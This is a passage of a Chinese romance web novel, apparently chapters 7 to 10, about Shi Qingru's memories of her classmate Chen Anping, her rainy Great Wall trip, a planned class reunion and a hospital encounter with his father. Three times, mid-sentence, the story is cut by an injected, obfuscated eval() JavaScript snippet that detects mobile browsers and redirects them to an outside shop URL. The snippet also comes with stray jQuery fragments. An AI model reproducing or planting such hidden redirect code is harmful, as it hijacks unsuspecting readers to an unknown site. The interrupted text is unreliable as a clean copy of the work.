“你能扶我走过去吗？我肚子痛。” 陈安平顿了顿，“好。” 施清如起初是拉住了他的臂膀，手心用力捏着，人依旧向下滑，把他的校服都往下拽了一大片。稍稍一抬眼，她就看见陈安平的领口露出一截他的左肩，从锁骨延伸到肩膀的骨骼感。 她疼得要命，脑海里还是闪过一种流氓想法。 他皮肤真白。 但这种想法很快就消逝，她抹了下额头的汗，右手绕过他后背，想要去够他的右肩膀。 “陈安平，你……能不能弯个腰？”施清如虚弱地对他说，“你个子太高了，我够不着。” 他点点头，弯腰躬背，“不好意思。” 施清如被他逗笑，“你不好意思什么？长得高又不是坏事。” 他没说话，左半边和她靠在一起的身体僵硬得像机器，左臂垂着，拳头也握着，施清如全靠自己的力量才能挂在他身上。 春天，陈安平贴身穿着短袖校服，套了件长袖外套，没拉拉链，被风吹向身后。 陈安平是新班级里为数不多施清如还没有混熟的人。 不过，她对他的印象很特别。 早在高一开学的时候就已深刻。 “你体育很好吧？” 她开始和他闲聊。 午后的阳光最最热烈，在施清如的余光里，陈安平的眉骨被光照得发出金光。他眉毛长得很好，英气又不凶悍，毛流浓又不野蛮，眼睛藏在深邃的眼窝里，施清如还没仔细看过。 陈安平的回答很谦虚：“还可以。” “放屁，”她扯开干裂的嘴唇笑了，“去年运动会你参加的项目都是第一，还破纪录了，我之前班级的那几个项目颗粒无收，算是拜你所赐？” 他大概是不知道怎么回应这样的话，默默无言地带她绕过操场边的小门，走向体育馆。 “一会儿要不要你自己走进去？” “为什么？陈安平，送佛送到西。” 陈安平沉着冷静地给她分析：“被太多同学看见不好，王老师也可能会说。” 施清如瞥了他一眼，“我们学校又没有那么封建古板，我是身体不舒服，你只是好心帮我，我们又不是早恋了，怕什么？” 陈安平脚步一顿，施清如往前倒了倒，勾着他的脖子又晃悠回来，本能地用另一只手在他腰上扶了一下，才稳住身体。 “怎么了？”她问。 陈安平摇摇头，“没事，我带你进去。” 她松开他的腰，“嗯。” 陈安平的腰很细，隔着两层校服也能感觉到温热。 不过也许，是施清如自己的指尖太烫了。 他们进体育馆的时候，大半个班级的人都已经到了，多数在插科打诨，目光不在门那边，只有几个眼尖的瞧见了，还没等他们调侃，体育老师王梓江首先走过来。 “怎么回事？” 施清如抬眼，一点也不怂地看着他，“老师我生理期，肚子很痛，今天没法运动了。” 王梓江打量了一眼她发白的唇色和额角的汗珠，知道她不是装的，“那等下就到边上坐着休息吧。” “谢谢老师。” 王梓江走出去两步，又退回来，看了一眼陈安平，又对施清如说：“下次最好还是找个女同学扶你。” 施清如没心没肺笑着：“老师，他是正好路过，总不能见死不救。” “呃，嗯，做得好。” 王梓江转身后，施清如无意识地凑到陈安平耳边轻声说：“你看，我就说没事吧。” 她没有发觉自己的唇已经碰到陈安平耳廓上的细小绒毛，呼出的热息吹向了他的耳中。 陈安平直起身，耳朵一下离开施清如气息的范围，勾肩搭背的手圈不住他的肩膀了，只能松开他，按住腹部。 “陈安平，谢谢你。” 陈安平朝施清如点了点头，但没有看她，“不客气，我不能见死不救。” 施清如笑了下。 他还挺会活学活用。 这节体育课是自由活动，男生大多在篮球场上，就算是闲聊，也要把屁股挪到球场边的椅子上，仿佛那里有什么魔力。女生有的在打羽毛球，有的也在篮球场，有的在操场上聊天，随便跑几下玩。也有一部分人在做卷子。 施清如坐在操场看台的最高一层，既能看到操场，也能看见背后的篮球场。 陈安平坐在球场边，没聊天，也没打球，只是靠在铁网上，闭着眼睛面向太阳。 睡着了？ 施清如阖眼，也打了个哈欠。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14314044|152368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 午后的阳光催人睡。 她一直睡到下课王雨灵把她喊起来。 一下午的课，施清如的精神都不太好。 王雨灵问她：“你这次怎么痛得这么厉害？” 施清如瘪嘴，抱着她的手臂撒娇，“不知道，可能是着凉了？学校医务室有止痛药配吗？我想去配一个。” “去问问呗。” 施清如叹气，“嗯，班会课结束就去。晚饭我不和你一起吃了，我想回寝室睡一会儿。” “好，晚自习之前要不要我去喊你？” “好呀，最爱你了。” 班会课结束后，教室几乎空了，大多都去食堂抢饭吃了。施清如还倒在桌上，她没胃口，人已经死了，手还在机械地做着卷子。 等班里最后几个人也走完，她也起身往寝室走。 医务室和小卖部都在寝室楼下。 成华中学的寝室从二楼开始才是，一楼是热水房、医务室、小卖部，和两个供师生娱乐的乒乓球房，还有一间房有一架钢琴，偶尔有人去弹奏。 男女寝室楼面对面而立，二层中央有个露天平台将两幢楼连接在一起，平时有任何通知都会贴在中间的布告栏上。 施清如浑浑噩噩穿过平台下的空间去医务室，医生给了她四颗止疼药。 她有点渴，穿过中间的绿化准备去小卖部。 边上不知道哪个年级哪个班级的人聚在一起笑，听得她心生厌烦，揉了揉耳朵。 “施清如，施清如！” 她停下脚步。 这声音是陈安平。 施清如印象中，陈安平还没有完整地叫过她名字，一开口往往是“同学”或者“你”。 他叫得这样急，声音却不大，还刻意压低了，导致他低沉的声音中还有些气声。 她回头，看见他微微皱着眉头快步向她走过来。 施清如眨了眨眼睛，揶揄道：“原来你知道我的名字。” 陈安平没说话，忽然脱掉了自己的校服外套，用力一甩，把袖子从她身后甩到另一边，之后他扯住两只袖子在她肚子上系了个结。 施清如低头看了眼那个结。 听见他问：“你要回寝室吗？” “嗯。” “好，”他点点头，踌躇片刻说，“可以换条裤子。” 施清如愣了下，明白过来，也知道了刚才那群人看着她在笑什么。 她并不觉得羞涩，反而弯眼定定看着眼前的陈安平，“你的校服被我弄脏了怎么办？” 陈安平顿了下，“没事，我会去洗干净的。” 施清如弯唇，“我洗干净再还给你吧，你有备用的外套吧？” “嗯。” “谢谢你啊，陈安平。” 把外套还给他是好几天后的事，施清如把他的外套带回了家，施琴问她这件宽大的校服是谁的，她看了一眼，说： “一个好心同学的。” 她在寝室用手搓过了，上面的棕红色痕迹差不多都洗掉了，但总不如一开始的洁净，只好带回家借助洗衣机和漂白粉的力量。 周日整理要带去学校的行李时，她在自己房间里看着那件外套，它现在有和她衣服一样的茉莉花香了。 施清如鬼使神差地松开已经叠好的外套，在自己身上试了试。 好大。 衣摆足够盖住她的半截大腿，她的手根本没法从袖口里露出来。 陈安平有多高？似乎听骆泽川说起过，他高一刚来成华中学时测量的数据是183cm，还在长个。 他在班里是第二高的，第一高的是个192cm的男生，母亲是职业打篮球的，因此特别高。 施清如已经发育得差不多了，两年之间从163cm长到164cm，她倒是希望自己能长到168cm，但她又看了看施琴和王文忠的身高，应该不可能。 周日晚自习的时候，她计划把衣服还给陈安平，但陈安平没有来。 施清如去问骆泽川，后者说陈安平明天早上才会来学校，他去医院看妈妈了。 “哦，那我明天再还给他吧。” - 施清如睡不着，从酒店的床上起来坐到沙发里吃了一颗止痛药。 她看向围着一楼庭院的那堵墙，和越过墙头的一株树，大大小小的叶子参差不齐地挂在枝头上，被风吹得直打转。 她点开骆泽川的微信，问他：「你有陈安平的新微信吗？」 骆泽川回复她：「有，但他去英国之后又换过了，好久没发朋友圈，过年给他发的祝福语也没有收到过回信。我听蒋澜说，他可能是换了一个工作微信，慢慢就不用这个了。」 施清如抱着双腿，沉寂了一会儿。 「告诉我吧，不管他还用不用。」 骆泽川：「行，你要加他吗？」 施清如看着他推荐过来的好友。 「不知道，再说吧。」 当年施清如将陈安平单方面删除后，她就听闻他换了一个微信。 当真是断得干干净净，不留一点痕迹。 8. 008 第二天北京仍旧在下雨，小雨淅沥，灰色的天空中飘着脏棉絮般的乌云。 施清如在酒店吃完早餐坐公交抵达八达岭。 车沿着公路快速曲折向上，每到蜿蜒尽头时，她便像是要被甩出车窗般狼狈，一趟下来，她被颠得头昏脑胀。 从车上下来，她撑起一把黑色的伞，用力闭紧眼睛缓解酸涩，同时让眼前的晕眩消失。与售卖雨衣的小贩擦肩而过时，施清如没有为他们呐喊的宣传语停留一秒。她讨厌雨衣糊在身上的那股黏糊劲，皮肤上的每个毛孔仿佛都无法呼吸，陷入沉闷的滞涩。 不是节假日，游客不多不少。 施清如抬起头看了眼环绕长城的雾气，树木都被裹成一种低饱和的绿色，有些甚至是灰色的。 她蹙了蹙眉。 天公不作美，月经也来得不是时候。 仿佛是老天爷在告诉她，这样追逐陈安平的足迹不过是刻舟求剑。 徒劳。 五颜六色的雨衣在她的视野里晃动，几个请假出学校的小孩奔跑着发出尖锐的嘶鸣。施清如皱着眉，她虽然吃了止痛药，腹部却依然绞痛，应该是受凉了。眼下被这些叫魂般的声音萦绕，更如千百只蚂蚁在身上爬般难受。 退堂鼓震耳地打了一下。 她垂眼，抬腿踏上第一块石阶。 她绝不可能因为这点困难就退却，就算不是因为陈安平，她也是要来长城的，来终结多年前未达成的一个小小心愿。 她不喜欢留遗憾。 从登城口开始往北行，起初是一段缓坡，施清如扶着墙走，时走时停，脚下的石块湿滑，不留神就会摔得难堪。 她一向是个没耐力的人，高中参加运动会报的都是些靠爆发力的项目，跳远、铅球、100米之类的。学生时代最痛苦的莫过于跑800米，有段时间她为了练出像样的成绩，坚持不在中途停下走路，最后屁股疼到开花。无法用言语形容的炸裂疼痛感吞噬了冲过终点的她，仿佛所有肌肉都要溶解了，她会虚脱地将膝盖和手掌都跪蹭在跑道上，红肿破皮也感觉不到。 这时候，陈安平会递给她一瓶水，然后给其他人也递一瓶。 从城墙上望出去，浓雾弥漫在树木之间。 哪儿都没有陈安平照片里的秋色。 这里古老、灰败、陈旧，雨声中仿佛有千年前亡魂凄厉的叫喊划破时空。 这儿的风景不轻盈也不治愈，它沉重得像是压在施清如肩上的雨，一滴接着一滴，连绵不断。 执伞而走实在不是明智之举，没多久她的双肩包和肩背就已被雨淋透，当缓坡变为陡梯，她似乎必须舍弃掉碍事的雨伞，才能踏稳脚步。 鞋尖沿着石块滑了一下，施清如的膝盖重重着地，磕在地上，伞被她下意识地按住，伞骨都变了形。 双手撑着地，施清如大口喘粗气，雨水正从她太阳穴滑向眼角，抚摸着她的脸颊往下落，淌进嘴里。 有些咸。 长城的路比塑胶跑道硬多了，也痛多了，骨头被震得发麻。 有人来扶她，施清如笑了笑，摇头致谢，自己扶着城墙边起来，重新撑起恢复原状的黑伞。 但她已经湿透了，雨水顺着领口贴身灌下，雨伞不过是装饰。 阴雨天沿途的风景是一样的，她甚至没有多瞥一眼，始终低着头目视地面。垒城墙的石块永无止境地在她视野里循环，头疼欲裂到快要撑不下去时，施清如也没想过回头折返，哪怕把伞收起当作拐杖，她也在继续前行。 直到身边有人欢呼，她直起腰，意识到自己终于走到了北八楼，全程的最高点。 开阔的视野里只有浓雾，没有秋色。 施清如垂眼，从湿透的衣服口袋里拿出半湿的手机，找了一位年轻小姑娘。 “你好，请问可以帮我拍一张照片吗？” 小姑娘无意识地接过手机，点着头却被施清如的模样吓了一跳，“小姐姐你要不要先擦擦脸。” 施清如用袖子抹掉脸上大半雨水，幸好她今天没化妆，狼狈但不至于吓人，碎发也被往后捋，不过很快就被新的雨水浇透。 她垂手笑了笑说道：“就这样拍吧，拍个到此一游的证明就行。” 刻舟求剑，果然是徒劳。 回到酒店的时候，施清如的身躯重得像坠着铅块，不是形容，是被雨水打湿的布料压着她，而她鬼压床似的抬不起脖子。 洗了热水澡，她没吃晚饭，光吃了一颗止痛药和一个面包，就一觉睡到第二天清晨。十几个小时过去，施清如毫无意外地发烧了。 她摸了摸自己的额头，平静地下床，步履飘飘然地走到沙发边，从行李箱里翻出退烧药，随便用几包零食垫肚子就把药吃了。 施清如从小到大都是不太爱惜身体的人，两三年前身体还吃得消时，熬夜、通宵是家常便饭。小病从不去医院，生扛，除非施琴和王文忠看不过去逼着她去医院。 不过她对身边人生病是截然相反的态度，平时不拘小节的人，却能事无巨细地处理好去医院的每个细小流程。 陈安平大多时候像个闷葫芦，但在健康方面，像个和尚，有时会在她耳边念经，叫她爱惜自己。 重新躺回床上，施清如将火车票退掉，改订了一张一天后的机票。 她确实折腾不起第二个七小时。 生病的事她肯定不会告诉施琴。 来北京是施清如自己的决定，淋雨把自己搞病也是自食其果，她不想让施琴小题大作地太过担心。 相比较而言，告诉朋友就没有什么心理负担。 张言静关切地问候。 施清如说：“让我在酒店里躺十天都没关系，但这酒店的饭菜太难吃了，所在地还偏僻，周围没什么好外卖，我还得重金请小哥跑腿帮我买吃的，等送到这里菜都凉了，太折磨。” 张言静盘腿坐着在敷面膜，皮笑肉不笑般反问她：“那你觉得这次去北京圆梦了吗？弥补之前没去长城的遗憾了吗？” 施清如眯着睁不太开的眼睛点头，把那张女鬼般狼狈的照片秀给她看。 “到此一游，去过了，就算圆梦了。” “你骗骗自己得了，别想骗我，”张言静拆掉包着长发的速干毛巾，瞥了眼屏幕，“你是为了陈安平去的吧？” “不是。” 她回答得太快，张言静切了一声。 施清如侧身把自己卷进被子，闭上眼睛，“最多百分之五十因为他。言静，你知道吗？他来的时候是秋天，城墙下的树都是红色、黄色的，漫山遍野，层林尽染，和昨天不一样，昨天看什么都是灰色的。” 张言静取下面膜，白净的脸上反着晶莹剔透的光亮。 她沉默地看着画面里施清如紧闭的双眼，欲言又止。 良久，她才说道：“你就这么喜欢陈安平吗？” 施清如闭着眼笑了下，“以前有这么喜欢，现在只不过是在回想从前。” “我知道他长得好、脾气也好，但你不是说他拒绝过你吗？我总觉得你不该是在一棵树上吊死的性格，这不像其他时候的你。” “不像吗？” 张言静默了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14314045|152368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一会儿，“像。” 施清如就是很执拗，否则不会为了一块怀表再去一次马德里。她看着洒脱，其实最是认死理。 “但他不喜欢你，就不值得。” 施清如睁开眼。 酒店房间的窗帘密实地挡住了外面的光亮，只有一盏床头灯和手机屏幕照在施清如脸上。 “言静，你可能会觉得我很自恋，但是——” 施清如停顿了很久，久到张言静屏息凝神去听她接下来的话。 “除了他拒绝我的时候，我一直、一直没有怀疑过他喜欢我这件事，这是我最真实的感受。” 话音落，房间里只剩下窗外那点雨声。 拒绝之后呢？ 是否怀疑了自己此前的判断？ 张言静没有办法感同身受，但她具有同理心。她突然就明白了为什么施清如只是见到了一个老同学，只是意外发现了陈安平的旧社交账号，就忽然踏上了一场不知终点的回忆之旅。 施清如从始至终都没有释怀。 在她眼中两情相悦的暗恋，在捅破窗户纸的那天，忽然得知原来陈安平不喜欢她。她感觉到荒谬、错误、不理解，像卡在嗓子里的鱼刺。有一万句“为什么”没有问出口。 但施清如年轻时的骄傲和自尊，不允许自己低头。 她怀揣着疑惑、愤恨尘封了那段过往，直到她足够成熟却依然好奇的三十岁，她获得了一把钥匙。 “施清如，”张言静忽然变得正襟危坐，像老师一样给施清如讲课，“我支持你去找他，找他当面问清楚他以前喜不喜欢你。” 施清如噗哧一声笑了出来。 “现在还纠结以前喜不喜欢有什么意义？我又不是活在过去的人。” “可是你分明在意，那就去问清楚，了结你一桩心事。否则你就像没有买到那一只怀表的少女，永远迈不过这个坎，哪怕你以后相亲遇见了不错的人，我猜你还是不会敞开心扉。” 施清如没说话，侧着撑起身体喝了一口床头的常温水。 张言静苦口婆心继续劝道：“你别不承认，你就是还在意陈安平，否则你当年为什么不接受唐峥？你分明说过唐峥是很好的人。” “唐峥？”施清如回想，“唐峥是很好，但我喜欢不上他，我尝试过了，去和他多接触，可我对他永远只有友情。” “如果你心里没有陈安平呢？” 张言静的诘问掷地有声。 施清如想说自己心里没有陈安平，但是说不出口。 “你看，承认吧，陈安平的影子把你爱情的一切可能性都封锁住了！这太不健康了，你必须把他拔除。” “言静……”施清如无奈地看着她。 为什么把这件事比喻得像洪水猛兽一般？ 明明、明明她对陈安平的心已经平静。 “而且，就像我之前说过的，也许陈安平他已经结婚了呢？” 施清如抬眸，下床走到窗边拉开窗帘。 灰蒙的天上挂着阴测测的阳光，其实不论天气如何，太阳始终在那里，只是它的光无法穿透厚重的云层。 “如果他已经结婚，我一定会把他忘了。” “这就对了，所以我支持你去找他，把一切都整理清楚，拨云雾见青天嘛。” 院子里的墙比人还高，除了那株冒然闯入的树枝外，只能抬头望天。 这酒店真是一无是处。 对于张言静的劝诫，施清如只淡淡应了一声。 等下一次同学会的时候，她决定问问陈安平有没有结婚。 9. 009 回到杭州，施清如在家中躺了三天，张言静登门拜访过一次，带了些品牌方寄来的化妆品，她自己用不完，总会捎带些给清如。 施清如有一点好，虽然是被父母惯着长大的，但她这人不娇气，也不好面子。在物质上她很务实，相反地，她在精神上就有些天马行空，仙女似的不肯落地。 施琴把亲戚带来的笋干和自己烤的蛋挞给张言静塞了一些，总归不肯让她空手回去。施清如笑倚在门边，看她每次推拒几回合，最后还是不得不迫于施琴的淫威把东西带走。 城门失火，殃及池鱼。 施清如好端端看着戏，被施琴拍了下后脑勺，“多久没去看爷爷奶奶、外公外婆了，这周末全家一起聚餐，你把时间留出来。” 施清如应声，回房整理照片。 在北京的几天，她不是在长城摔得狗吃屎，就是在酒店躺到浑身发酸，几乎没有看得过去的照片。随便点了几下，施清如感慨自媒体博主也不是那么好做，要保证图片、视频质量实在不易。 鼠标划过陈安平的青青网主页，没有点开。 施清如低头给骆泽川发去消息。 「下次同学会在什么时候？」 过了三分钟他回复：「刚办过，没这么快吧。」 施清如：「上次不是只有五六个人去了吗？这也能算同学会？十个人都没有。」 骆泽川：「都是大忙人啊。怎么，突然想参加同学会？你问问蒋澜吧，近两次同学会都是他组织的，毕竟是班长。」 施清如顿了一会儿，回了一句：「行。」 她和蒋澜高中时就不太对付，她不喜欢蒋澜总把一点小事形容得像是天要塌下来的夸张，也不喜欢他总是拿班长头衔压人。 蒋澜自然也不喜欢她，她从不因为他是班长就留几分薄面，有什么怼他的话都是直说，心气儿高。有时还得蒋澜低声下气地求着她办一些事。 他们彼此都在对方“无需联系的老同学”分类中，毕业多年除了群发祝福外几乎没有交流。施清如给过他一次面子，参加了他的婚礼，礼金包了不少。 那是三年前。 潜意识中，她以为陈安平会出现，但他没有。 陈安平和蒋澜的关系不错，高中时虽不如和骆泽川的关系铁，但大学时两个人都考去了复旦，联系自然比别人多点。蒋澜算是高中毕业后最了解陈安平的人。 蒋澜在工位上喘口气喝咖啡的功夫，看见施清如的消息，推了推眼镜确定自己没看错人名。 施清如：「老蒋，听说你前段时间突发心梗，工作别太拼命了，健康才是第一位，多注意身体。」 蒋澜啧了一声，抱着手机翘着腿细品这句话里的深意。 过了半天只品出来黄鼠狼给鸡拜年的味道，准没好事。 蒋澜：「谢谢施太后的关心，暂时死不了。说吧，找我什么事？」 他的性格相较于高中的死板，变得活络了些，也嘴贫了些。 施清如开门见山：「你再办个同学会怎么样？这次多叫一点人。」 蒋澜：「上次让王雨灵喊你来你都没来。」 施清如：「我那不是人不在国内嘛。你再办一次，我肯定来。别太久了，最近，就最近行不行？」 她是个急性子这点从高中到现在都没变。蒋澜看了一眼手机上的日历。 蒋澜：「我得问问其他人。」 施清如：「行，你把所有人都联系一遍问问清楚。记得提前告诉我，我把时间空出来。同学会的吃喝我来请，你随便安排。」 蒋澜笑了下，施清如也有优点，她一直挺大方的。 蒋澜：「不怕我敲你竹杠？」 施清如：「你别太离谱就成。」 蒋澜：「知道了，我联系看看，不过肯定不会所有人都到，大家有各自的家庭、工作要忙，不像你有这么多空闲时间。在国外的基本就别想了，机票都是一大笔开销。」 到这个年纪，能为了一场同学会聚在一起的，除了本地离得近的，得需是多好的关系才会消耗极大的成本赴约？ 寥寥无几。 施清如输入了很久，才发出来。 「如果在国外的同学要来，我可以报销他的吃住行花费。」 蒋澜刚想问她为什么这么不惜血本，又收到一条新消息。 施清如：「老蒋，记得问问陈安平，问问他会不会来。」 蒋澜愣了一会儿神，被同事叫走。 再回来的时候，他恍神盯着陈安平以前的微信账号。 施清如，还没忘记陈安平呢？ 多少年了。 陈旧的记忆在电脑的显示屏上浮显出重影。 蒋澜笑着摇了摇头。 - 周末气温陡升，薄薄一件长袖衫就已足够。施清如站在医院大门口晒了一会儿太阳，竟然觉得很热。 浙二医院滨江院区停车依旧很困难，王文忠绕了几圈才停好车，发信息让提前下车散步的施清如进门诊大楼。 全家人一起去吃午饭前，决定带施有志来医院做腿部复查。他半年前在公交车上摔断了腿，折腾得不轻，这才好起来没多久，就每日都坚持要自己坐车去钓鱼，施琴为这老顽童愁得厉害。 因王文忠是入赘的缘故，施清如打小便管施琴的父母叫做爷爷奶奶，王文忠的父母叫做外公外婆。王老爷子起初是不满意的，心里不痛快，古板思想让他觉得这儿子是白生了，唯一的小辈都不跟自己家姓。但日子过了这么久，他也早已习惯。 施琴是独生女，王文忠上头有个大哥王文林，不过早在二十八年前便因车祸去世了。因此施清如是为两个家庭唯一的孙女，是享尽宠爱的掌上明珠。王老爷子再顽固，只要施清如一哄，他就高兴了。 医生问施有志有没有好好休息，他支支吾吾不说实话，施琴在一旁按着他肩膀对医生说：“他一点都不听话，觉得自己能走路了，就偷偷溜出家门去钓鱼，哎，说了都不听的！” 施清如忍俊不禁，走到诊室外。 从北京回来后染的风寒没好透，鼻子堵塞，还有些咳嗽。她在走廊上捂着嘴咳了两声，干脆坐在门外的金属椅上等。 她以前对浙二很熟悉。 但不是滨江院区，而是解放路那个老院区。 她总是往住院部跑，性格活泼，和当时的护士长都熟悉了。进进出出的病人很多，但在施清如的印象中，陈安平的母亲谢莹淇几乎一直都住在那张病床上，鲜少有回家的时候。她大大小小毛病不断，出了院，转头又回来，像是个钉子户。 病床前是谢莹淇的孝子陈安平，和一个不知为何总自告奋勇来看望她的小女生施清如。 谢莹淇的父母那时都已不在，偶有些亲戚带着水果篮来看她，坐一两个小时又离开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14314046|152368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。病床前不热闹，也不算太冷清，唯独不见她的前夫来过一次。 她总是住在三人病房靠窗的那一床，没人来的时候就一个人静静地睡觉或者看书。 谢莹淇是一个温柔善良的人，总是笑眯眯看着人。施清如很喜欢她。 几年前施清如因某些原因去浙二旧院区时，特意到过之前那间病房，得知谢莹淇很多年前就不在那儿了。护士长换了人，早不记得他们这些人。 施清如出神地环顾四周来来往往的人，心想，无论自己和陈安平如何了，她都希望谢莹淇康复了，能从医院的白墙中走出去，和长大成人的陈安平去周游世界。 世界的美丽绝不止白色的墙，也比书本里的文字更多彩。 诊室内，施有志复查完，被施琴和奶奶周彩茵牵着走出来。 施清如笑着起身，“爷爷，你可得听医生的话，多在家休息，别总是乱跑。要钓鱼我陪你去，提前和我说一声，不许自己一个人乱跑，奶奶多担心呐。” 施有志答应得很快，布满皱纹的脸上因为笑容又多了几道慈祥的褶子，“知道咯乖孙女。” 王文忠招呼一大家子，“走吧，去吃点好吃的，补补身体。” “诶好。” 一行人刚走到门诊大厅，施清如忽然刹停脚步。 她睁大眼睛，发直地盯着前方，半晌，她忽然一颤。 一个满头灰发的中老年男人一闪而过，消失在了人群中。 她回神对家人说：“你们先去车里，我有点事，马上过来。” 话落下的瞬间，施清如大迈步朝着男人消失的方向走，没过几秒转为狂奔。 穿过层层人群，她像是在进行障碍赛跑，每个人都成为了阻碍，她只能一直侧身行进，目光不断在每个人之间游移。 她绝对没有看错，那个男人是陈峰！ 谢莹淇的前夫，陈安平的父亲。 一个被小小年纪的施清如掌掴过的人渣。 施清如在念高中之前都没有真正接触过人性阴暗面，直到她自告奋勇，半强迫地陪同陈安平去向父亲讨要抚养费和医药费的时候。 她无法理解这世上为何会有人对与自己共同生活过的妻子如此狠心，也无法理解为何会有人对亲生骨肉不管不顾。 陈峰是她最看不起的那种男人。 但此时此刻在浙二医院，施清如的肾上腺素却因这个男人的出现而疯狂飙升。 会不会、会不会有哪怕一丝可能，陈安平和他在一起？会不会，陈安平已经回国了？ 哪怕不是。 陈峰应该也知晓一些陈安平和谢莹淇的近况。 施清如不想承认，但她全身的肌肉都在喧嚣她想找到陈安平。 然而，攒动的百颗人头中，没有一颗是陈峰，他消失得无影无踪，连带着陈安平的消息一并溜走了。 施清如恍惚地伫立在人群中央，所有人都在走动，只有她停在原地，愣神许久。 手机铃声把她拉回到现实，施琴催促她快回车里。 施清如挪了步子，手背上的青筋跳了起来。 这么多年了，她第一次产生了一种感觉。 一种陈安平远在天边、近在眼前的感觉，仿佛伸手就能捉住他。 她会很快找到他， 续写他们之间断更多年的故事，无论是逗号还是句号，她都欣然接受。 10. 010 那天回到家，施琴便问施清如在医院是看见了谁。 “看错了。” 施清如淡淡撇下一句话回到房间。 游戏群里的好友喊她上线开荒新出的副本，她回绝了，点开陈安平的青青网主页出神。 她像是将他的主页当成了电脑背景一般。 这里安静又洁净，不会有任何新跳出来的弹窗。 施清如眯着眼睛在想医院里看见的那个男人。 陈峰。 在1998年杭州大学并入浙江大学之前，他就已是杭大的员工，零几年的时候被辞退，却还一直住在教职工宿舍里。是学校早年给分的房子，在西溪路上。陈峰住在一栋只有两层的矮房里，他的房间在二楼最尽头，紧挨着那一层共用的厕所。 隔日施清如便凭借记忆找寻过去。 老式的小区没有大门，行人骑着电瓶车从前门穿到后门，只为抄近路。树木的枝条野蛮生长，未经修剪，逐渐覆盖建筑的主体。苍翠的爬山虎像青褐色墙面的纹身，经年累月，与污水的痕迹融为一体。 这儿的房子最高不过六层，矮的只有两层。在春转向夏的季节，繁枝茂叶比建筑本身更庞然。 大部分人早已经搬走了，这儿是流浪猫的港湾，是城中心的原始森林。 陈安平十二岁以前也是在这里生活的。 他没有过多地向施清如讲述过那段曾经，哪怕在施清如的追问下，他依旧简言带过，用她招架不住的笑容哄得她放弃打破砂锅问到底。 施清如只知道陈峰和谢莹淇正是在陈安平十二岁时离婚的，孩子跟了母亲，是陈峰主动放弃了抚养权。那时候定下的抚养费低，每个月五百元，连打牙祭都不够。所幸谢莹淇娘家条件还不错，那个时候她的父亲也还在世，是娘俩的后盾。 好景不长，谢莹淇后来一病不起，不能工作，父亲也因病离世，积蓄在年复一年的治疗中消失殆尽。 成华中学的学费加上种种学杂费，一年需接近三万人民币。和贵族学校不能比，但和公立中学相比，已十分昂贵。 成华生源优秀，学校历史年久，拥有相当多的保送名额，高考一本率93%，还有不少同学出国留学。 施琴和王文忠选择让施清如考成华一是为了成绩，二是看中健康的校风，三是最现实的——这儿的同学多半既有能力又有一定家底，未来在社会上都是珍贵的人脉资源。 陈安平家的考量则不同。 谢莹淇对他隐瞒了家里的真实状况，营造出积蓄足够的假象，希望他能去成华挣个保送名额，去全国最优秀的大学。谢莹淇极度重视教育，或者说，是为了孩子甘愿牺牲一切的性格。成华注重学生的德智体美劳全面发展，在学习之余还有各种大赛、活动的机会，知名校友数不过来。她希望陈安平也能拥有这样的成长轨迹。 可是，假象终归是假象。 陈安平高中以后，谢莹淇在医疗上的花销像天空中的破洞，即便用补天石也填补不起来，积蓄如指间流沙，丝毫留不住。 她打电话给陈峰。 请求陈峰支付拖欠了两年的抚养费，总计一万两千元，恳求他可以支付完陈安平剩下的学费，并说陈安平会在毕业后将这些钱还给他。 陈峰起初答应了。 但说好的钱始终没有汇到谢莹淇的户头。 施清如记得在某一天午休时，她撞见陈安平在周旺的办公室，两个人促膝长谈。 她学周旺趴在教室门后那样，也趴在办公室窗边偷听。 “陈安平，我知道你家里有些难处，但是现在转学真的不是明智之举，以你的成绩，完全有机会去竞争清北的保送名额，就算清北的竞争不上，还有浙大、上外。” “周老师，我的学费也是我妈妈的救命钱。” “哎，你……你家里亲戚能帮你吗？” 陈安平没说话，摇了摇头。 周旺沉默良久，握着他那只保温杯，心痛地叹气：“再考虑一下吧，前程只有一次，你自己的人生也很重要。” 陈安平背对着门口，施清如只能看见他四分之一的侧脸。他坐在没有靠背的黄色木凳上，垂着眼睛，神情和语气一样平静。 阳光穿过窗纱，在办公室地面映下一道平行四边形的光，白金色的光停在陈安平的肩头，短发下的耳朵亮得近乎透明。 陈安平从办公室走出来的时候，施清如就倚在墙头，侧目看他。 “你和周大头说什么了说这么久？” 陈安平垂目看她，笑了笑，“说怎么提高我的数学成绩。” “骗子。” 施清如拧着眉头，用嗔怪的眼神望他。 陈安平怔了下，半晌露出她见得最多的那种无奈笑容，“听见了？” 施清如不吭声。 “还不是板上钉钉的事，你不用多想。” 